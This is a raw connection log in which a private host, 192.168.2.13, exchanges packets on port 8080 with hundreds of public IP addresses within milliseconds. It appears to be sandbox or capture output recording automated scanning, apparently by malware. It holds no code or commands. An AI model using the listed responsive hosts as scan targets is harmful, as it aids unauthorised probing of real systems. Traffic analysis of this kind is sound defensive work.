Jan 26, 2025 01:43:29.674257994 CET	47566	8080	192.168.2.13	85.168.72.32
Jan 26, 2025 01:43:29.674257994 CET	47566	8080	192.168.2.13	95.224.24.3
Jan 26, 2025 01:43:29.674273014 CET	47566	8080	192.168.2.13	62.63.14.222
Jan 26, 2025 01:43:29.674273968 CET	47566	8080	192.168.2.13	62.40.236.61
Jan 26, 2025 01:43:29.674273968 CET	47566	8080	192.168.2.13	94.106.113.32
Jan 26, 2025 01:43:29.674274921 CET	47566	8080	192.168.2.13	31.123.167.156
Jan 26, 2025 01:43:29.674274921 CET	47566	8080	192.168.2.13	31.74.5.181
Jan 26, 2025 01:43:29.674273968 CET	47566	8080	192.168.2.13	94.22.80.22
Jan 26, 2025 01:43:29.674273968 CET	47566	8080	192.168.2.13	94.139.166.88
Jan 26, 2025 01:43:29.674273968 CET	47566	8080	192.168.2.13	62.240.253.130
Jan 26, 2025 01:43:29.674283028 CET	47566	8080	192.168.2.13	95.167.48.136
Jan 26, 2025 01:43:29.674285889 CET	8080	47566	31.234.62.164	192.168.2.13
Jan 26, 2025 01:43:29.674297094 CET	8080	47566	62.167.119.203	192.168.2.13
Jan 26, 2025 01:43:29.674300909 CET	47566	8080	192.168.2.13	31.94.242.228
Jan 26, 2025 01:43:29.674300909 CET	47566	8080	192.168.2.13	62.184.240.23
Jan 26, 2025 01:43:29.674305916 CET	8080	47566	94.229.145.146	192.168.2.13
Jan 26, 2025 01:43:29.674312115 CET	47566	8080	192.168.2.13	31.13.154.169
Jan 26, 2025 01:43:29.674319983 CET	47566	8080	192.168.2.13	31.234.62.164
Jan 26, 2025 01:43:29.674348116 CET	47566	8080	192.168.2.13	94.229.145.146
Jan 26, 2025 01:43:29.674349070 CET	47566	8080	192.168.2.13	94.191.102.211
Jan 26, 2025 01:43:29.674360991 CET	47566	8080	192.168.2.13	62.194.248.138
Jan 26, 2025 01:43:29.674366951 CET	47566	8080	192.168.2.13	62.170.225.154
Jan 26, 2025 01:43:29.674370050 CET	47566	8080	192.168.2.13	31.63.199.214
Jan 26, 2025 01:43:29.674370050 CET	47566	8080	192.168.2.13	94.70.154.91
Jan 26, 2025 01:43:29.674370050 CET	47566	8080	192.168.2.13	95.230.50.94
Jan 26, 2025 01:43:29.674386024 CET	47566	8080	192.168.2.13	85.125.71.248
Jan 26, 2025 01:43:29.674390078 CET	47566	8080	192.168.2.13	94.217.128.122
Jan 26, 2025 01:43:29.674390078 CET	47566	8080	192.168.2.13	62.167.119.203
Jan 26, 2025 01:43:29.674397945 CET	47566	8080	192.168.2.13	31.35.72.192
Jan 26, 2025 01:43:29.674401045 CET	47566	8080	192.168.2.13	94.96.98.59
Jan 26, 2025 01:43:29.674401999 CET	47566	8080	192.168.2.13	62.191.66.68
Jan 26, 2025 01:43:29.674401999 CET	47566	8080	192.168.2.13	62.232.180.159
Jan 26, 2025 01:43:29.674401999 CET	47566	8080	192.168.2.13	95.121.167.42
Jan 26, 2025 01:43:29.674406052 CET	47566	8080	192.168.2.13	85.56.28.215
Jan 26, 2025 01:43:29.674407005 CET	47566	8080	192.168.2.13	94.147.110.242
Jan 26, 2025 01:43:29.674407005 CET	47566	8080	192.168.2.13	85.53.201.232
Jan 26, 2025 01:43:29.674407005 CET	47566	8080	192.168.2.13	31.149.75.181
Jan 26, 2025 01:43:29.674413919 CET	47566	8080	192.168.2.13	94.75.54.114
Jan 26, 2025 01:43:29.674413919 CET	47566	8080	192.168.2.13	62.45.153.252
Jan 26, 2025 01:43:29.674413919 CET	47566	8080	192.168.2.13	95.175.251.90
Jan 26, 2025 01:43:29.674416065 CET	47566	8080	192.168.2.13	31.235.33.142
Jan 26, 2025 01:43:29.674420118 CET	47566	8080	192.168.2.13	85.135.244.223
Jan 26, 2025 01:43:29.674420118 CET	47566	8080	192.168.2.13	31.99.125.166
Jan 26, 2025 01:43:29.674427986 CET	47566	8080	192.168.2.13	62.132.97.57
Jan 26, 2025 01:43:29.674431086 CET	47566	8080	192.168.2.13	31.7.247.151
Jan 26, 2025 01:43:29.674436092 CET	47566	8080	192.168.2.13	62.44.130.173
Jan 26, 2025 01:43:29.674438953 CET	47566	8080	192.168.2.13	94.19.253.187
Jan 26, 2025 01:43:29.674447060 CET	47566	8080	192.168.2.13	31.203.84.90
Jan 26, 2025 01:43:29.674448967 CET	47566	8080	192.168.2.13	31.171.4.195
Jan 26, 2025 01:43:29.674457073 CET	47566	8080	192.168.2.13	62.137.239.2
Jan 26, 2025 01:43:29.674467087 CET	47566	8080	192.168.2.13	62.64.205.46
Jan 26, 2025 01:43:29.674469948 CET	47566	8080	192.168.2.13	85.110.37.38
Jan 26, 2025 01:43:29.674470901 CET	47566	8080	192.168.2.13	94.197.135.121
Jan 26, 2025 01:43:29.674478054 CET	47566	8080	192.168.2.13	31.154.171.132
Jan 26, 2025 01:43:29.674489021 CET	47566	8080	192.168.2.13	95.22.118.53
Jan 26, 2025 01:43:29.674501896 CET	47566	8080	192.168.2.13	94.146.93.53
Jan 26, 2025 01:43:29.674510956 CET	47566	8080	192.168.2.13	85.190.85.21
Jan 26, 2025 01:43:29.674523115 CET	47566	8080	192.168.2.13	31.24.16.225
Jan 26, 2025 01:43:29.674546957 CET	47566	8080	192.168.2.13	62.198.16.45
Jan 26, 2025 01:43:29.674547911 CET	47566	8080	192.168.2.13	31.56.88.111
Jan 26, 2025 01:43:29.674554110 CET	47566	8080	192.168.2.13	95.37.128.227
Jan 26, 2025 01:43:29.674555063 CET	47566	8080	192.168.2.13	85.169.242.102
Jan 26, 2025 01:43:29.674559116 CET	47566	8080	192.168.2.13	31.14.191.36
Jan 26, 2025 01:43:29.674572945 CET	47566	8080	192.168.2.13	85.185.238.135
Jan 26, 2025 01:43:29.674575090 CET	47566	8080	192.168.2.13	31.115.40.121
Jan 26, 2025 01:43:29.674586058 CET	8080	47566	95.11.245.169	192.168.2.13
Jan 26, 2025 01:43:29.674596071 CET	8080	47566	94.148.78.123	192.168.2.13
Jan 26, 2025 01:43:29.674603939 CET	8080	47566	31.6.7.155	192.168.2.13
Jan 26, 2025 01:43:29.674613953 CET	8080	47566	62.226.105.232	192.168.2.13
Jan 26, 2025 01:43:29.674622059 CET	8080	47566	62.253.121.47	192.168.2.13
Jan 26, 2025 01:43:29.674631119 CET	8080	47566	85.138.143.210	192.168.2.13
Jan 26, 2025 01:43:29.674639940 CET	8080	47566	31.25.106.188	192.168.2.13
Jan 26, 2025 01:43:29.674647093 CET	47566	8080	192.168.2.13	94.236.184.77
Jan 26, 2025 01:43:29.674649000 CET	8080	47566	31.197.227.208	192.168.2.13
Jan 26, 2025 01:43:29.674649954 CET	47566	8080	192.168.2.13	62.104.193.122
Jan 26, 2025 01:43:29.674649954 CET	47566	8080	192.168.2.13	31.170.100.242
Jan 26, 2025 01:43:29.674652100 CET	47566	8080	192.168.2.13	94.28.235.69
Jan 26, 2025 01:43:29.674650908 CET	47566	8080	192.168.2.13	62.164.86.116
Jan 26, 2025 01:43:29.674652100 CET	47566	8080	192.168.2.13	95.13.174.16
Jan 26, 2025 01:43:29.674649954 CET	47566	8080	192.168.2.13	31.67.216.222
Jan 26, 2025 01:43:29.674649954 CET	47566	8080	192.168.2.13	62.210.104.214
Jan 26, 2025 01:43:29.674654961 CET	47566	8080	192.168.2.13	94.25.26.252
Jan 26, 2025 01:43:29.674649954 CET	47566	8080	192.168.2.13	95.11.245.169
Jan 26, 2025 01:43:29.674649954 CET	47566	8080	192.168.2.13	94.46.166.63
Jan 26, 2025 01:43:29.674650908 CET	47566	8080	192.168.2.13	94.48.88.5
Jan 26, 2025 01:43:29.674654961 CET	47566	8080	192.168.2.13	94.233.38.116
Jan 26, 2025 01:43:29.674649954 CET	47566	8080	192.168.2.13	85.166.60.253
Jan 26, 2025 01:43:29.674654961 CET	47566	8080	192.168.2.13	94.2.47.103
Jan 26, 2025 01:43:29.674665928 CET	8080	47566	94.179.2.125	192.168.2.13
Jan 26, 2025 01:43:29.674669027 CET	47566	8080	192.168.2.13	94.164.105.109
Jan 26, 2025 01:43:29.674673080 CET	47566	8080	192.168.2.13	85.19.156.211
Jan 26, 2025 01:43:29.674673080 CET	47566	8080	192.168.2.13	62.189.21.132
Jan 26, 2025 01:43:29.674674034 CET	47566	8080	192.168.2.13	95.159.77.124
Jan 26, 2025 01:43:29.674673080 CET	47566	8080	192.168.2.13	95.16.131.67
Jan 26, 2025 01:43:29.674671888 CET	47566	8080	192.168.2.13	94.148.78.123
Jan 26, 2025 01:43:29.674674988 CET	47566	8080	192.168.2.13	95.209.124.243
Jan 26, 2025 01:43:29.674673080 CET	47566	8080	192.168.2.13	62.253.121.47
Jan 26, 2025 01:43:29.674671888 CET	47566	8080	192.168.2.13	31.6.7.155
Jan 26, 2025 01:43:29.674675941 CET	8080	47566	85.253.121.179	192.168.2.13
Jan 26, 2025 01:43:29.674674034 CET	47566	8080	192.168.2.13	85.138.143.210
Jan 26, 2025 01:43:29.674676895 CET	47566	8080	192.168.2.13	62.226.105.232
Jan 26, 2025 01:43:29.674671888 CET	47566	8080	192.168.2.13	62.45.42.222
Jan 26, 2025 01:43:29.674676895 CET	47566	8080	192.168.2.13	31.194.159.191
Jan 26, 2025 01:43:29.674674034 CET	47566	8080	192.168.2.13	31.197.227.208
Jan 26, 2025 01:43:29.674674988 CET	47566	8080	192.168.2.13	94.129.156.68
Jan 26, 2025 01:43:29.674671888 CET	47566	8080	192.168.2.13	95.84.105.127
Jan 26, 2025 01:43:29.674676895 CET	47566	8080	192.168.2.13	62.33.26.26
Jan 26, 2025 01:43:29.674671888 CET	47566	8080	192.168.2.13	31.25.106.188
Jan 26, 2025 01:43:29.674676895 CET	47566	8080	192.168.2.13	62.143.92.228
Jan 26, 2025 01:43:29.674676895 CET	47566	8080	192.168.2.13	94.85.63.108
Jan 26, 2025 01:43:29.674676895 CET	47566	8080	192.168.2.13	31.18.69.65
Jan 26, 2025 01:43:29.674690008 CET	8080	47566	95.67.107.97	192.168.2.13
Jan 26, 2025 01:43:29.674693108 CET	47566	8080	192.168.2.13	31.212.131.209
Jan 26, 2025 01:43:29.674693108 CET	47566	8080	192.168.2.13	95.112.123.15
Jan 26, 2025 01:43:29.674698114 CET	47566	8080	192.168.2.13	94.179.2.125
Jan 26, 2025 01:43:29.674704075 CET	47566	8080	192.168.2.13	31.182.198.27
Jan 26, 2025 01:43:29.674714088 CET	47566	8080	192.168.2.13	85.253.121.179
Jan 26, 2025 01:43:29.674725056 CET	47566	8080	192.168.2.13	95.67.107.97
Jan 26, 2025 01:43:29.674736023 CET	47566	8080	192.168.2.13	62.51.19.219
Jan 26, 2025 01:43:29.674752951 CET	47566	8080	192.168.2.13	94.222.253.109
Jan 26, 2025 01:43:29.674753904 CET	47566	8080	192.168.2.13	95.86.128.151
Jan 26, 2025 01:43:29.674753904 CET	47566	8080	192.168.2.13	94.144.215.168
Jan 26, 2025 01:43:29.674761057 CET	47566	8080	192.168.2.13	94.88.162.105
Jan 26, 2025 01:43:29.674762964 CET	47566	8080	192.168.2.13	94.24.15.193
Jan 26, 2025 01:43:29.674762964 CET	47566	8080	192.168.2.13	94.208.10.217
Jan 26, 2025 01:43:29.674773932 CET	47566	8080	192.168.2.13	31.57.235.147
Jan 26, 2025 01:43:29.674789906 CET	47566	8080	192.168.2.13	95.35.143.241
Jan 26, 2025 01:43:29.674791098 CET	47566	8080	192.168.2.13	95.4.222.95
Jan 26, 2025 01:43:29.674798012 CET	47566	8080	192.168.2.13	31.46.41.67
Jan 26, 2025 01:43:29.674875975 CET	47566	8080	192.168.2.13	62.3.160.202
Jan 26, 2025 01:43:29.674876928 CET	47566	8080	192.168.2.13	95.147.104.203
Jan 26, 2025 01:43:29.674880981 CET	47566	8080	192.168.2.13	31.198.172.248
Jan 26, 2025 01:43:29.674889088 CET	47566	8080	192.168.2.13	62.115.68.67
Jan 26, 2025 01:43:29.674889088 CET	47566	8080	192.168.2.13	94.119.22.146
Jan 26, 2025 01:43:29.674890995 CET	47566	8080	192.168.2.13	31.89.75.153
Jan 26, 2025 01:43:29.674891949 CET	47566	8080	192.168.2.13	85.180.107.13
Jan 26, 2025 01:43:29.674891949 CET	47566	8080	192.168.2.13	85.87.85.122
Jan 26, 2025 01:43:29.674891949 CET	47566	8080	192.168.2.13	95.24.97.20
Jan 26, 2025 01:43:29.674891949 CET	47566	8080	192.168.2.13	94.148.239.143
Jan 26, 2025 01:43:29.674892902 CET	47566	8080	192.168.2.13	85.230.85.236
Jan 26, 2025 01:43:29.674895048 CET	47566	8080	192.168.2.13	94.105.84.42
Jan 26, 2025 01:43:29.674895048 CET	47566	8080	192.168.2.13	31.177.106.251
Jan 26, 2025 01:43:29.674899101 CET	47566	8080	192.168.2.13	62.144.8.15
Jan 26, 2025 01:43:29.674899101 CET	47566	8080	192.168.2.13	95.173.97.66
Jan 26, 2025 01:43:29.674923897 CET	47566	8080	192.168.2.13	95.136.47.149
Jan 26, 2025 01:43:29.674928904 CET	47566	8080	192.168.2.13	31.69.184.116
Jan 26, 2025 01:43:29.674940109 CET	47566	8080	192.168.2.13	62.241.9.35
Jan 26, 2025 01:43:29.674945116 CET	47566	8080	192.168.2.13	94.76.187.19
Jan 26, 2025 01:43:29.674947977 CET	47566	8080	192.168.2.13	85.21.87.219
Jan 26, 2025 01:43:29.674951077 CET	47566	8080	192.168.2.13	31.199.14.74
Jan 26, 2025 01:43:29.674952984 CET	47566	8080	192.168.2.13	95.196.152.57
Jan 26, 2025 01:43:29.674971104 CET	47566	8080	192.168.2.13	62.254.233.38
Jan 26, 2025 01:43:29.674971104 CET	47566	8080	192.168.2.13	31.181.162.61
Jan 26, 2025 01:43:29.674978018 CET	47566	8080	192.168.2.13	85.252.65.217
Jan 26, 2025 01:43:29.674982071 CET	47566	8080	192.168.2.13	31.63.239.157
Jan 26, 2025 01:43:29.674998999 CET	47566	8080	192.168.2.13	31.215.84.55
Jan 26, 2025 01:43:29.675002098 CET	47566	8080	192.168.2.13	62.135.135.0
Jan 26, 2025 01:43:29.675004959 CET	47566	8080	192.168.2.13	31.165.155.73
Jan 26, 2025 01:43:29.675019026 CET	47566	8080	192.168.2.13	31.146.250.103
Jan 26, 2025 01:43:29.675019026 CET	47566	8080	192.168.2.13	62.73.241.85
Jan 26, 2025 01:43:29.675030947 CET	47566	8080	192.168.2.13	94.218.188.240
Jan 26, 2025 01:43:29.675039053 CET	47566	8080	192.168.2.13	95.100.1.173
Jan 26, 2025 01:43:29.675048113 CET	47566	8080	192.168.2.13	95.0.163.230
Jan 26, 2025 01:43:29.675049067 CET	47566	8080	192.168.2.13	85.94.29.25
Jan 26, 2025 01:43:29.675052881 CET	8080	47566	95.227.144.28	192.168.2.13
Jan 26, 2025 01:43:29.675059080 CET	47566	8080	192.168.2.13	94.202.226.213
Jan 26, 2025 01:43:29.675060987 CET	47566	8080	192.168.2.13	62.122.181.88
Jan 26, 2025 01:43:29.675062895 CET	8080	47566	62.216.25.134	192.168.2.13
Jan 26, 2025 01:43:29.675072908 CET	8080	47566	62.97.241.71	192.168.2.13
Jan 26, 2025 01:43:29.675081968 CET	8080	47566	31.53.168.36	192.168.2.13
Jan 26, 2025 01:43:29.675090075 CET	8080	47566	62.9.248.233	192.168.2.13
Jan 26, 2025 01:43:29.675101042 CET	8080	47566	85.86.237.191	192.168.2.13
Jan 26, 2025 01:43:29.675111055 CET	8080	47566	94.115.150.82	192.168.2.13
Jan 26, 2025 01:43:29.675120115 CET	8080	47566	31.248.168.178	192.168.2.13
Jan 26, 2025 01:43:29.675128937 CET	8080	47566	31.236.173.117	192.168.2.13
Jan 26, 2025 01:43:29.675136089 CET	47566	8080	192.168.2.13	95.227.144.28
Jan 26, 2025 01:43:29.675136089 CET	47566	8080	192.168.2.13	94.114.141.101
Jan 26, 2025 01:43:29.675137997 CET	8080	47566	31.112.211.50	192.168.2.13
Jan 26, 2025 01:43:29.675137997 CET	47566	8080	192.168.2.13	31.53.168.36
Jan 26, 2025 01:43:29.675141096 CET	47566	8080	192.168.2.13	62.216.25.134
Jan 26, 2025 01:43:29.675141096 CET	47566	8080	192.168.2.13	31.29.242.32
Jan 26, 2025 01:43:29.675141096 CET	47566	8080	192.168.2.13	85.211.25.143
Jan 26, 2025 01:43:29.675141096 CET	47566	8080	192.168.2.13	85.69.62.118
Jan 26, 2025 01:43:29.675142050 CET	47566	8080	192.168.2.13	95.205.152.132
Jan 26, 2025 01:43:29.675142050 CET	47566	8080	192.168.2.13	94.226.37.26
Jan 26, 2025 01:43:29.675148010 CET	8080	47566	62.65.35.88	192.168.2.13
Jan 26, 2025 01:43:29.675153017 CET	47566	8080	192.168.2.13	31.252.28.188
Jan 26, 2025 01:43:29.675153017 CET	47566	8080	192.168.2.13	31.134.30.38
Jan 26, 2025 01:43:29.675153017 CET	47566	8080	192.168.2.13	94.33.126.47
Jan 26, 2025 01:43:29.675153017 CET	47566	8080	192.168.2.13	94.180.128.176
Jan 26, 2025 01:43:29.675153017 CET	47566	8080	192.168.2.13	94.77.244.247
Jan 26, 2025 01:43:29.675153017 CET	47566	8080	192.168.2.13	62.97.241.71
Jan 26, 2025 01:43:29.675153971 CET	47566	8080	192.168.2.13	95.208.180.86
Jan 26, 2025 01:43:29.675153971 CET	47566	8080	192.168.2.13	62.9.248.233
Jan 26, 2025 01:43:29.675153971 CET	47566	8080	192.168.2.13	85.86.237.191
Jan 26, 2025 01:43:29.675153971 CET	47566	8080	192.168.2.13	62.67.170.230
Jan 26, 2025 01:43:29.675153971 CET	47566	8080	192.168.2.13	95.106.128.39
Jan 26, 2025 01:43:29.675156116 CET	47566	8080	192.168.2.13	31.30.205.85
Jan 26, 2025 01:43:29.675156116 CET	47566	8080	192.168.2.13	31.64.251.24
Jan 26, 2025 01:43:29.675158024 CET	47566	8080	192.168.2.13	31.177.130.113
Jan 26, 2025 01:43:29.675158024 CET	8080	47566	94.12.192.187	192.168.2.13
Jan 26, 2025 01:43:29.675158024 CET	47566	8080	192.168.2.13	31.236.173.117
Jan 26, 2025 01:43:29.675158024 CET	47566	8080	192.168.2.13	31.112.211.50
Jan 26, 2025 01:43:29.675159931 CET	47566	8080	192.168.2.13	95.198.134.156
Jan 26, 2025 01:43:29.675162077 CET	47566	8080	192.168.2.13	95.104.34.228
Jan 26, 2025 01:43:29.675163031 CET	47566	8080	192.168.2.13	85.26.243.74
Jan 26, 2025 01:43:29.675162077 CET	47566	8080	192.168.2.13	95.124.48.147
Jan 26, 2025 01:43:29.675162077 CET	47566	8080	192.168.2.13	95.161.187.91
Jan 26, 2025 01:43:29.675162077 CET	47566	8080	192.168.2.13	62.230.128.58
Jan 26, 2025 01:43:29.675162077 CET	47566	8080	192.168.2.13	94.115.150.82
Jan 26, 2025 01:43:29.675162077 CET	47566	8080	192.168.2.13	31.248.168.178
Jan 26, 2025 01:43:29.675168991 CET	8080	47566	95.43.250.187	192.168.2.13
Jan 26, 2025 01:43:29.675174952 CET	47566	8080	192.168.2.13	62.65.35.88
Jan 26, 2025 01:43:29.675183058 CET	47566	8080	192.168.2.13	94.12.192.187
Jan 26, 2025 01:43:29.675184965 CET	47566	8080	192.168.2.13	85.46.159.253
Jan 26, 2025 01:43:29.675188065 CET	8080	47566	31.241.190.179	192.168.2.13
Jan 26, 2025 01:43:29.675198078 CET	8080	47566	31.127.75.205	192.168.2.13
Jan 26, 2025 01:43:29.675198078 CET	47566	8080	192.168.2.13	95.43.250.187
Jan 26, 2025 01:43:29.675209045 CET	8080	47566	31.116.72.245	192.168.2.13
Jan 26, 2025 01:43:29.675215960 CET	47566	8080	192.168.2.13	94.128.13.76
Jan 26, 2025 01:43:29.675215960 CET	47566	8080	192.168.2.13	31.241.190.179
Jan 26, 2025 01:43:29.675216913 CET	47566	8080	192.168.2.13	62.128.39.98
Jan 26, 2025 01:43:29.675216913 CET	47566	8080	192.168.2.13	85.61.107.135
Jan 26, 2025 01:43:29.675225019 CET	47566	8080	192.168.2.13	31.197.197.95
Jan 26, 2025 01:43:29.675225019 CET	47566	8080	192.168.2.13	31.127.75.205
Jan 26, 2025 01:43:29.675230026 CET	47566	8080	192.168.2.13	85.74.4.170
Jan 26, 2025 01:43:29.675237894 CET	47566	8080	192.168.2.13	31.116.72.245
Jan 26, 2025 01:43:29.675244093 CET	47566	8080	192.168.2.13	85.188.99.27
Jan 26, 2025 01:43:29.675301075 CET	47566	8080	192.168.2.13	62.117.61.26
Jan 26, 2025 01:43:29.675301075 CET	47566	8080	192.168.2.13	31.205.203.95
Jan 26, 2025 01:43:29.675301075 CET	47566	8080	192.168.2.13	85.76.83.204
Jan 26, 2025 01:43:29.675309896 CET	47566	8080	192.168.2.13	31.24.23.252
Jan 26, 2025 01:43:29.675309896 CET	47566	8080	192.168.2.13	31.214.234.196
Jan 26, 2025 01:43:29.675309896 CET	47566	8080	192.168.2.13	95.97.187.182
Jan 26, 2025 01:43:29.675321102 CET	47566	8080	192.168.2.13	94.122.8.196
Jan 26, 2025 01:43:29.675321102 CET	47566	8080	192.168.2.13	31.169.148.144
Jan 26, 2025 01:43:29.675322056 CET	47566	8080	192.168.2.13	94.222.231.248
Jan 26, 2025 01:43:29.675321102 CET	47566	8080	192.168.2.13	31.88.59.137
Jan 26, 2025 01:43:29.675322056 CET	47566	8080	192.168.2.13	85.74.120.199
Jan 26, 2025 01:43:29.675322056 CET	47566	8080	192.168.2.13	62.192.128.46
Jan 26, 2025 01:43:29.675322056 CET	47566	8080	192.168.2.13	62.241.160.62
Jan 26, 2025 01:43:29.675376892 CET	47566	8080	192.168.2.13	62.97.36.228
Jan 26, 2025 01:43:29.675376892 CET	47566	8080	192.168.2.13	31.166.217.121
Jan 26, 2025 01:43:29.675468922 CET	8080	47566	95.80.104.217	192.168.2.13
Jan 26, 2025 01:43:29.675478935 CET	8080	47566	62.73.137.240	192.168.2.13
Jan 26, 2025 01:43:29.675488949 CET	8080	47566	31.55.29.232	192.168.2.13
Jan 26, 2025 01:43:29.675494909 CET	47566	8080	192.168.2.13	95.80.104.217
Jan 26, 2025 01:43:29.675498009 CET	8080	47566	62.169.152.13	192.168.2.13
Jan 26, 2025 01:43:29.675499916 CET	47566	8080	192.168.2.13	62.73.137.240
Jan 26, 2025 01:43:29.675507069 CET	8080	47566	85.184.82.240	192.168.2.13
Jan 26, 2025 01:43:29.675514936 CET	47566	8080	192.168.2.13	31.55.29.232
Jan 26, 2025 01:43:29.675515890 CET	8080	47566	94.172.163.222	192.168.2.13
Jan 26, 2025 01:43:29.675528049 CET	47566	8080	192.168.2.13	62.169.152.13
Jan 26, 2025 01:43:29.675539970 CET	47566	8080	192.168.2.13	85.184.82.240
Jan 26, 2025 01:43:29.675540924 CET	8080	47566	95.108.1.10	192.168.2.13
Jan 26, 2025 01:43:29.675542116 CET	47566	8080	192.168.2.13	94.172.163.222
Jan 26, 2025 01:43:29.675550938 CET	8080	47566	62.41.71.217	192.168.2.13
Jan 26, 2025 01:43:29.675559998 CET	8080	47566	31.174.141.169	192.168.2.13
Jan 26, 2025 01:43:29.675569057 CET	8080	47566	95.235.9.144	192.168.2.13
Jan 26, 2025 01:43:29.675571918 CET	47566	8080	192.168.2.13	62.41.71.217
Jan 26, 2025 01:43:29.675573111 CET	8080	47566	85.161.32.183	192.168.2.13
Jan 26, 2025 01:43:29.675575018 CET	47566	8080	192.168.2.13	95.108.1.10
Jan 26, 2025 01:43:29.675576925 CET	8080	47566	85.219.118.171	192.168.2.13
Jan 26, 2025 01:43:29.675581932 CET	8080	47566	85.213.57.216	192.168.2.13
Jan 26, 2025 01:43:29.675585985 CET	8080	47566	85.103.102.124	192.168.2.13
Jan 26, 2025 01:43:29.675611019 CET	47566	8080	192.168.2.13	85.213.57.216
Jan 26, 2025 01:43:29.675611973 CET	47566	8080	192.168.2.13	95.235.9.144
Jan 26, 2025 01:43:29.675614119 CET	47566	8080	192.168.2.13	31.174.141.169
Jan 26, 2025 01:43:29.675617933 CET	47566	8080	192.168.2.13	85.219.118.171
Jan 26, 2025 01:43:29.675626040 CET	47566	8080	192.168.2.13	85.103.102.124
Jan 26, 2025 01:43:29.675703049 CET	47566	8080	192.168.2.13	85.161.32.183
Jan 26, 2025 01:43:29.675868034 CET	8080	47566	31.110.82.196	192.168.2.13
Jan 26, 2025 01:43:29.675878048 CET	8080	47566	85.238.133.178	192.168.2.13
Jan 26, 2025 01:43:29.675888062 CET	8080	47566	95.16.167.14	192.168.2.13
Jan 26, 2025 01:43:29.675896883 CET	8080	47566	94.176.93.237	192.168.2.13
Jan 26, 2025 01:43:29.675900936 CET	47566	8080	192.168.2.13	31.110.82.196
Jan 26, 2025 01:43:29.675900936 CET	47566	8080	192.168.2.13	85.238.133.178
Jan 26, 2025 01:43:29.675905943 CET	8080	47566	94.89.135.156	192.168.2.13
Jan 26, 2025 01:43:29.675915003 CET	8080	47566	95.169.33.121	192.168.2.13
Jan 26, 2025 01:43:29.675924063 CET	8080	47566	62.56.59.188	192.168.2.13
Jan 26, 2025 01:43:29.675940990 CET	8080	47566	62.32.105.238	192.168.2.13
Jan 26, 2025 01:43:29.675949097 CET	8080	47566	62.210.112.164	192.168.2.13
Jan 26, 2025 01:43:29.675957918 CET	8080	47566	94.37.234.241	192.168.2.13
Jan 26, 2025 01:43:29.675957918 CET	47566	8080	192.168.2.13	95.16.167.14
Jan 26, 2025 01:43:29.675957918 CET	47566	8080	192.168.2.13	94.176.93.237
Jan 26, 2025 01:43:29.675961018 CET	47566	8080	192.168.2.13	94.89.135.156
Jan 26, 2025 01:43:29.675961018 CET	47566	8080	192.168.2.13	95.169.33.121
Jan 26, 2025 01:43:29.675967932 CET	8080	47566	95.230.102.59	192.168.2.13
Jan 26, 2025 01:43:29.675973892 CET	47566	8080	192.168.2.13	62.56.59.188
Jan 26, 2025 01:43:29.675973892 CET	47566	8080	192.168.2.13	62.32.105.238
Jan 26, 2025 01:43:29.675973892 CET	47566	8080	192.168.2.13	62.210.112.164
Jan 26, 2025 01:43:29.675977945 CET	8080	47566	31.143.55.236	192.168.2.13
Jan 26, 2025 01:43:29.675987959 CET	8080	47566	62.126.169.79	192.168.2.13
Jan 26, 2025 01:43:29.675990105 CET	47566	8080	192.168.2.13	94.37.234.241
Jan 26, 2025 01:43:29.675992966 CET	47566	8080	192.168.2.13	95.230.102.59
Jan 26, 2025 01:43:29.675997019 CET	8080	47566	94.130.0.93	192.168.2.13
Jan 26, 2025 01:43:29.676007032 CET	8080	47566	85.225.173.251	192.168.2.13
Jan 26, 2025 01:43:29.676014900 CET	8080	47566	62.116.250.165	192.168.2.13
Jan 26, 2025 01:43:29.676023960 CET	8080	47566	94.58.8.143	192.168.2.13
Jan 26, 2025 01:43:29.676033020 CET	8080	47566	62.31.95.19	192.168.2.13
Jan 26, 2025 01:43:29.676042080 CET	8080	47566	62.44.188.138	192.168.2.13
Jan 26, 2025 01:43:29.676050901 CET	8080	47566	94.118.77.24	192.168.2.13
Jan 26, 2025 01:43:29.676047087 CET	47566	8080	192.168.2.13	31.143.55.236
Jan 26, 2025 01:43:29.676047087 CET	47566	8080	192.168.2.13	62.126.169.79
Jan 26, 2025 01:43:29.676062107 CET	47566	8080	192.168.2.13	62.116.250.165
Jan 26, 2025 01:43:29.676064968 CET	47566	8080	192.168.2.13	85.225.173.251
Jan 26, 2025 01:43:29.676067114 CET	8080	47566	31.211.252.42	192.168.2.13
Jan 26, 2025 01:43:29.676069021 CET	47566	8080	192.168.2.13	94.130.0.93
Jan 26, 2025 01:43:29.676071882 CET	47566	8080	192.168.2.13	94.58.8.143
Jan 26, 2025 01:43:29.676076889 CET	8080	47566	85.12.110.27	192.168.2.13
Jan 26, 2025 01:43:29.676078081 CET	47566	8080	192.168.2.13	62.31.95.19
Jan 26, 2025 01:43:29.676079035 CET	47566	8080	192.168.2.13	62.44.188.138
Jan 26, 2025 01:43:29.676079988 CET	47566	8080	192.168.2.13	94.118.77.24
Jan 26, 2025 01:43:29.676085949 CET	8080	47566	94.61.86.47	192.168.2.13
Jan 26, 2025 01:43:29.676089048 CET	47566	8080	192.168.2.13	31.211.252.42
Jan 26, 2025 01:43:29.676095963 CET	8080	47566	95.85.194.30	192.168.2.13
Jan 26, 2025 01:43:29.676105976 CET	47566	8080	192.168.2.13	85.12.110.27
Jan 26, 2025 01:43:29.676115990 CET	47566	8080	192.168.2.13	94.61.86.47
Jan 26, 2025 01:43:29.676130056 CET	47566	8080	192.168.2.13	95.85.194.30
Jan 26, 2025 01:43:29.676255941 CET	8080	47566	31.225.41.83	192.168.2.13
Jan 26, 2025 01:43:29.676265955 CET	8080	47566	85.126.158.253	192.168.2.13
Jan 26, 2025 01:43:29.676275015 CET	8080	47566	94.63.208.148	192.168.2.13
Jan 26, 2025 01:43:29.676285028 CET	8080	47566	31.1.128.141	192.168.2.13
Jan 26, 2025 01:43:29.676292896 CET	47566	8080	192.168.2.13	31.225.41.83
Jan 26, 2025 01:43:29.676296949 CET	8080	47566	94.184.0.89	192.168.2.13
Jan 26, 2025 01:43:29.676306009 CET	8080	47566	31.210.219.162	192.168.2.13
Jan 26, 2025 01:43:29.676315069 CET	8080	47566	85.149.48.44	192.168.2.13
Jan 26, 2025 01:43:29.676317930 CET	47566	8080	192.168.2.13	85.126.158.253
Jan 26, 2025 01:43:29.676320076 CET	47566	8080	192.168.2.13	94.63.208.148
Jan 26, 2025 01:43:29.676322937 CET	8080	47566	85.197.110.74	192.168.2.13
Jan 26, 2025 01:43:29.676323891 CET	47566	8080	192.168.2.13	31.1.128.141
Jan 26, 2025 01:43:29.676325083 CET	47566	8080	192.168.2.13	94.184.0.89
Jan 26, 2025 01:43:29.676328897 CET	47566	8080	192.168.2.13	31.210.219.162
